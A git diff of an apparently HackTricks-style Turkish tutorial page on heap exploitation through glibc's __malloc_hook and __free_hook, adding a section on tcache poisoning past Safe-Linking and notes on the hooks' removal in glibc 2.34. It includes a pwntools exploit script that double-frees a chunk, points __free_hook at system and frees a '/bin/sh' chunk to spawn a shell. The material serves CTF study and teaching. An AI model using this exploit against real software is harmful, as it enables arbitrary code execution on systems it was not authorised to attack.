diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index fdff96488..4a5c1a0fb 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -1,12 +1,12 @@ -# WWW2Exec - \_\_malloc_hook & \_\_free_hook +# WWW2Exec - __malloc_hook & __free_hook {{#include ../../banners/hacktricks-training.md}} ## **Malloc Hook** -Resmi GNU sitesinde belirtildiği gibi, **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **çağrılacak bir fonksiyonun adresine işaret eden bir işaretçidir** ve bu adres **libc kütüphanesinin veri bölümünde saklanır**. Bu nedenle, bu adres bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**. +Resmi GNU sitesinde belirttiği gibi, **`__malloc_hook`** değişkeni, `malloc()` çağrıldığında **çağrılacak bir fonksiyonun adresine işaret eden** bir işaretçidir ve bu adres **libc kütüphanesinin veri bölümünde** saklanır. Bu nedenle, bu adres bir **One Gadget** ile üzerine yazılırsa ve `malloc` çağrılırsa, **One Gadget çağrılacaktır**. -Malloc'u çağırmak için programın bunu çağırmasını beklemek veya **`printf("%10000$c")`** çağrısı yaparak, `libc`'nin bunları yığın üzerinde tahsis etmesini sağlamak mümkündür. +Malloc'u çağırmak için programın bunu çağırmasını beklemek veya **`printf("%10000$c")`** çağrısı yaparak, `libc`'nin bunları yığın üzerinde tahsis etmesi için çok fazla byte tahsis etmek mümkündür. One Gadget hakkında daha fazla bilgi için: @@ -19,13 +19,13 @@ One Gadget hakkında daha fazla bilgi için: ## Free Hook -Bu, sıralanmamış bir kutu saldırısından sonra hızlı bir kutu saldırısını kötüye kullanan sayfadaki örneklerden birinde kötüye kullanıldı: +Bu, sıralanmamış bir bin saldırısını istismar ettikten sonra hızlı bir bin saldırısını istismar eden sayfadaki örneklerden birinde kötüye kullanıldı: {{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}} -Binariesinin sembolleri varsa `__free_hook` adresini bulmak mümkündür: +Binary'nin sembolleri varsa `__free_hook` adresini bulmak mümkündür: ```bash gef➤ p &__free_hook ``` @@ -43,9 +43,9 @@ gef➤ p &__free_hook 0xf75deddd : jne 0xf75dee50 -Yukarıdaki kodda belirtilen kırılma noktasında `$eax` içinde serbest kancanın adresi bulunacaktır. +Yukarıda belirtilen kırılma noktasında `$eax` içinde serbest kancanın adresi bulunacaktır. -Şimdi bir **fast bin saldırısı** gerçekleştirilir: +Şimdi bir **hızlı bin saldırısı** gerçekleştirilir: - Öncelikle, **`__free_hook`** konumunda **200 boyutunda hızlı parçalar** ile çalışmanın mümkün olduğu keşfedilir: -
gef➤  p &__free_hook
@@ -56,15 +56,80 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
-- Eğer bu konumda 0x200 boyutunda bir hızlı parça elde edebilirsek, çalıştırılacak bir fonksiyon işaretçisini yazmak mümkün olacaktır. -- Bunun için, `0xfc` boyutunda yeni bir parça oluşturulur ve birleştirilmiş fonksiyon bu işaretçi ile iki kez çağrılır, bu şekilde hızlı parçadaki `0xfc*2 = 0x1f8` boyutunda serbest bir parçaya işaret eden bir işaretçi elde ederiz. -- Ardından, bu parçadaki düzenleme fonksiyonu çağrılır ve bu hızlı parçanın **`fd`** adresi önceki **`__free_hook`** fonksiyonuna işaret edecek şekilde değiştirilir. -- Sonra, hızlı parçadan önceki işe yaramaz parçayı almak için `0x1f8` boyutunda bir parça oluşturulur, böylece **`__free_hook`** içinde bir hızlı parça elde etmek için `0x1f8` boyutunda başka bir parça oluşturulur ve bu parça **`system`** fonksiyonunun adresi ile üzerine yazılır. -- Ve nihayet, `/bin/sh\x00` dizesini içeren bir parça silme fonksiyonu çağrılarak serbest bırakılır, bu da **`__free_hook`** fonksiyonunu tetikler ve `/bin/sh\x00` parametre olarak sistem fonksiyonuna işaret eder. +- Bu konumda 0x200 boyutunda hızlı bir parça elde edersek, çalıştırılacak bir fonksiyon işaretçisini yazmak mümkün olacaktır. +- Bunun için, `0xfc` boyutunda yeni bir parça oluşturulur ve birleştirilmiş fonksiyon bu işaretçi ile iki kez çağrılır, bu şekilde hızlı bin içinde `0xfc*2 = 0x1f8` boyutunda serbest bir parçaya işaret eden bir işaretçi elde edilir. +- Ardından, bu parçadaki edit fonksiyonu çağrılarak bu hızlı binin **`fd`** adresi önceki **`__free_hook`** fonksiyonuna işaret edecek şekilde değiştirilir. +- Daha sonra, hızlı binin önceki işe yaramaz parçasını almak için `0x1f8` boyutunda bir parça oluşturulur, böylece **`__free_hook`** içinde hızlı bir parça elde etmek için `0x1f8` boyutunda başka bir parça oluşturulur ve bu parça **`system`** fonksiyonunun adresi ile üzerine yazılır. +- Ve nihayet, `/bin/sh\x00` dizesini içeren bir parça serbest bırakılır ve silme fonksiyonu çağrılır, bu da **`__free_hook`** fonksiyonunu tetikler ve `/bin/sh\x00` parametre olarak sistemle işaret eder. + +--- + +## Tcache zehirleme & Güvenli Bağlama (glibc 2.32 – 2.33) + +glibc 2.32, **Güvenli Bağlama**nın tanıtımını yaptı - **tcache** ve hızlı parçalar tarafından kullanılan *tek*-bağlı listeleri koruyan bir bütünlük kontrolü. Artık ham bir ileri işaretçi (`fd`) depolamak yerine, ptmalloc bunu aşağıdaki makro ile *şifreli* olarak depolamaktadır: +```c +#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr)) +#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr) +``` +Sömürü için sonuçlar: + +1. Bir **heap leak** zorunludur – saldırgan, geçerli bir obfuscate edilmiş işaretçi oluşturmak için `chunk_addr >> 12` değerini bilmelidir. +2. Sadece *tam* 8 baytlık işaretçi sahte olarak oluşturulabilir; tek baytlık kısmi yazmalar kontrolü geçmeyecektir. + +Dolayısıyla, glibc 2.32/2.33 üzerinde `__free_hook`'u yazan minimal bir tcache-poisoning primi şu şekilde görünmektedir: +```py +from pwn import * + +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") +p = process("./vuln") + +# 1. Leak a heap pointer (e.g. via UAF or show-after-free) +heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00")) +heap_base = heap_leak & ~0xfff +fd_key = heap_base >> 12 # value used by PROTECT_PTR +log.success(f"heap @ {hex(heap_base)}") + +# 2. Prepare two same-size chunks and double-free one of them +a = malloc(0x48) +b = malloc(0x48) +free(a) +free(b) +free(a) # tcache double-free ⇒ poisoning primitive + +# 3. Forge obfuscated fd that points to __free_hook +free_hook = libc.sym['__free_hook'] +poison = free_hook ^ fd_key +edit(a, p64(poison)) # overwrite fd of tcache entry + +# 4. Two mallocs: the second one returns a pointer to __free_hook +malloc(0x48) # returns chunk a +c = malloc(0x48) # returns chunk @ __free_hook +edit(c, p64(libc.sym['system'])) + +# 5. Trigger +bin_sh = malloc(0x48) +edit(bin_sh, b"/bin/sh\x00") +free(bin_sh) +``` +Yukarıdaki alıntı, *UIUCTF 2024 – «Rusty Pointers»* ve *openECSC 2023 – «Babyheap G»* gibi son CTF zorluklarından uyarlanmıştır; her ikisi de `__free_hook`'u yazmak için Safe-Linking bypass'larına dayanıyordu. + +--- + +## glibc ≥ 2.34'te ne değişti? + +**glibc 2.34 (Ağustos 2021)** ile birlikte, `__malloc_hook`, `__realloc_hook`, `__memalign_hook` ve `__free_hook` tahsis kancaları **kamusal API'den kaldırıldı ve artık tahsis edici tarafından çağrılmıyor**. Eski ikili dosyalar için uyumluluk sembolleri hala dışa aktarılmakta, ancak bunların üzerine yazmak artık `malloc()` veya `free()` kontrol akışını etkilemiyor. + +Pratik sonuç: modern dağıtımlarda (Ubuntu 22.04+, Fedora 35+, Debian 12, vb.) *diğer* kaçırma ilkelere (IO-FILE, `__run_exit_handlers`, vtable spraying, vb.) geçmeniz gerekecek çünkü kanca üzerine yazmalar sessizce başarısız olacaktır. + +Hala hata ayıklama için eski davranışa ihtiyacınız varsa, glibc `libc_malloc_debug.so`'yu gönderir; bu, eski kancaları yeniden etkinleştirmek için önceden yüklenebilir – ancak bu kütüphane **üretim için tasarlanmamıştır ve gelecekteki sürümlerde kaybolabilir**. + +--- ## Referanslar - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +- Safe-Linking – 20 yıllık bir malloc() istismar ilkesinin ortadan kaldırılması (Check Point Research, 2020) +- glibc 2.34 sürüm notları – malloc kancalarının kaldırılması {{#include ../../banners/hacktricks-training.md}}